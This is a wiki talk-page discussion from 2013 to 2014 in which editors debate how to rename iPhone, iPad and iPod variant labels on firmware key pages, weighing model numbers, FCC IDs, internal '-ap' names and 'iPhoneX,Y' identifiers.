::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals (cont.) ==
So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)
:Include iPhone 4 in the change and use same format everywhere on the wiki. I agree that we do not need to change devices with only one variant such as iPhone 3GS. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:59, 31 December 2013 (UTC)
:: I agree on that. 3GS, 3G and the 1st iPhone are anyway devices where I do not see too many wiki-related changes in the future.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 09:57, 31 December 2013 (UTC)
:I don't like how the abbreviated form of "iPad3,4" looks— I understand wanting to keep "iPad 4" in the name, but I can't come up with alternatives besides going with only the identifier. (Another issue is that MediaWiki's markup parser doesn't seem to like square brackets in links— I tried using <code><nowiki><nowiki /></nowiki></code>.) Having thought it over for a few days, I'm more receptive to changing all multi-variant devices (i.e. including the iPhone 4), but my concern about the Recent changes getting flooded with page moves still exists. The page moves should be done on "quiet" days, when the wiki doesn't see much activity. That being said, this is my understanding of the proposed changes. Does everyone agree with the following?
:* On pages like [[iPhone]], the variant labels will be replaced with the identifier, e.g. iPhone3,1/iPhone3,2/iPhone3,3. (An exception will probably need to be made for the iPad1,1. The "Internal Name" row should also be modified because there will be duplicated information.)
:* On [[Models]], the variant labels will be replaced with something else for the iPhone 5 and newer. (I feel like there are too many LTE bands to list in such a spot, but I don't have any better ideas.)
:* On pages such as [[Firmware]] and [[Jailbreak]], labels will be changed to things like "iPhone 4 (iPhone3,1)" and "iPad 4 (iPad3,4)." Single-variant devices like the Apple TV 2G will remain as-is.
:* The key pages will be moved to a different title, to resemble the following.
:** <del>[[InnsbruckTaos 11B554a (AppleTV3,1)]]</del> [[InnsbruckTaos 11B554a (Apple TV AppleTV3,1)]]
:** <del>[[InnsbruckTaos 11B554a (iPad2,4)]]</del> [[InnsbruckTaos 11B554a (iPad 2 iPad2,4)]]
:** <del>[[InnsbruckTaos 11B554a (iPhone3,1)]]</del> [[InnsbruckTaos 11B554a (iPhone 4 iPhone3,1)]]
:** [[InnsbruckTaos 11B554a (iPod touch 5G)]]
:Do let me know if I missed something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:57, 31 December 2013 (UTC)
::I agree with your idea [[User:Dialexio|Dialexio]], but make every page use iPhone 4 (iPhone3,1) etc. Of course if pages use iPhone 4 (GSM) now, change that to iPhone 4 (iPhone3,1) or iPhone 4 (3,1). I would suggest moving 10 pages per day for the iPhone 4 to avoid flooding. I do not want some pages to include the AP identifier and some others iPhone3,1 for example. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:08, 1 January 2014 (UTC)
:::Several comments:
*The square brackets were just an idea, nothing agreed on that yet. And yes, let's forget this idea if it has problems with MediaWiki.
*The beginning of the name should remain, otherwise we're getting inconsistent with other pages. I agree with [[User:IAdam1n|iAdam1n]] on this. To keep it short, my favorite would be something like "iPhone 4 (3,1)" then. But to make it more clear, "iPhone4 (iPhone3,1)" is also ok to me. If you wanted to leave the first part away and just use "iPhone3,1", then we would have to rename ALL pages (that's also an option).
*Regarding flooding, I prefer that we do all changes at once, at an agreed date/time, done by [[User:Dialexio|Dialexio]]. Maybe in two steps: first step to change the few hardware pages plus one page of each device of the key pages. In the second step the rest. This would ensure that any misunderstandings get catched in the first step, before all pages are renamed. I don't like to have 20 edits per day that I have to go through. Better all at once, but only after agreement of all.
*Yes, we can do iPhone 4 too, if that't the only missing one. It was a misunderstanding on my part for iPad GSM/WiFi, as this doesn't have different firmwares (only on hardware pages needed).
*Regarding the proposed listing of the bands on the [[Models]] page, Variant column, we could only list the bands that are different to make it short.

Can we list here what pages would be affected by the changes? Feel free to edit this list here within my comment. Here's what I have in mind:
*[[Models]]
*[[Apple TV]], [[iPad]], [[iPad mini]], [[iPhone]], [[iPod touch]]
*[[Firmware Keys]]
*[[Firmware]], [[Beta Firmware]]
*[[Jailbreak]]
*[[Application Processor]]
*[[Main Page]] - for Application Processors and Baseband Devices.
*[[:Category:Baseband]] - some pages state models and also the baseband devices, such as [[MDM6600]].
*[[Template:Keys]]
*[[P0sixspwn]]
*[[:Timeline]]
*[[SHSH]]
*key pages: iPhone 4 GSM (like [[Telluride 9A334 (iPhone 4 GSM)]]), total 69 existing pages
*key pages: iPhone 4 GSM (A) (like [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)]]), total 21 existing pages
*key pages: iPhone 4 CDMA (like [[BrightonMaps 10B329 (iPhone 4 CDMA)]]), total 50 existing pages
*key pages: iPhone 5 GSM (nonexistent)
*key pages: iPhone 5 Global (nonexistent)
*key pages: iPhone 5c and 5s (nonexistent)
*key pages: iPad 2 Wi-Fi (like [[Durango 8G4 (iPad 2 Wi-Fi)]]), total 5 existing pages
*key pages: iPad 2 GSM (like [[Durango 8G4 (iPad 2 GSM)]]), total 5 existing pages
*key pages: iPad 2 CDMA (like [[Durango 8G4 (iPad 2 CDMA)]]), total 5 existing pages
*key pages: iPad 2 Wi-Fi Rev A (nonexistent)
*key pages: iPad 3 Wi-Fi (nonexistent)
*key pages: iPad 3 CDMA (nonexistent)
*key pages: iPad 3 Global (nonexistent)
*key pages: iPad 4 Wi-Fi (nonexistent)
*key pages: iPad 4 GSM (nonexistent)
*key pages: iPad 4 Global (nonexistent)
*key pages: iPad Air Wi-Fi (nonexistent)
*key pages: iPad Air Cellular (nonexistent)
*key pages: iPad mini Wi-Fi (nonexistent)
*key pages: iPad mini GSM (nonexistent)
*key pages: iPad mini Global (nonexistent)
*key pages: iPad mini 2G Wi-Fi (nonexistent)
*key pages: iPad mini 2G Cellular (nonexistent)
The key pages would get moved without redirect and all references updated. The references should also be in this list above. Add it to the list if I forgot anything.
--[[User:Http|http]] ([[User talk:Http|talk]]) 15:07, 1 January 2014 (UTC)
::::Yes that is fine. I said the 10 a day to avoid a big flood, but I do not mind either way. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 15:13, January 1, 2014‎ (UTC)
::::Looks good. I amended the list to include the iPads as well. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:51, 1 January 2014 (UTC)
:::::So most of you seem to agree on the the generic change now. But what is missing is the exact naming. We have three variations still in discussion:
:::::#"iPhone 4 (3,1)"
:::::#"iPhone 4 (iPhone3,1)"
:::::#"iPhone 4 3,1"
:::::#"iPhone 4 iPhone3,1"
:::::I just noticed that we cannot use the round brackets, because this entire part is already enclosed in round brackets - otherwise we would have nested brackets and in grammar I think you have to use square brackets which are not allowed in MediaWiki. So this leaves us with #3 and #4. #3 looks silly without the brackets, so we probably have to use #4 as [[User:Dialexio|Dialexio]] suggested. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:55, 1 January 2014 (UTC)
::::::I agree with #4, looks better as I feel that #3 needs some sort of brackets if we used that. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]])
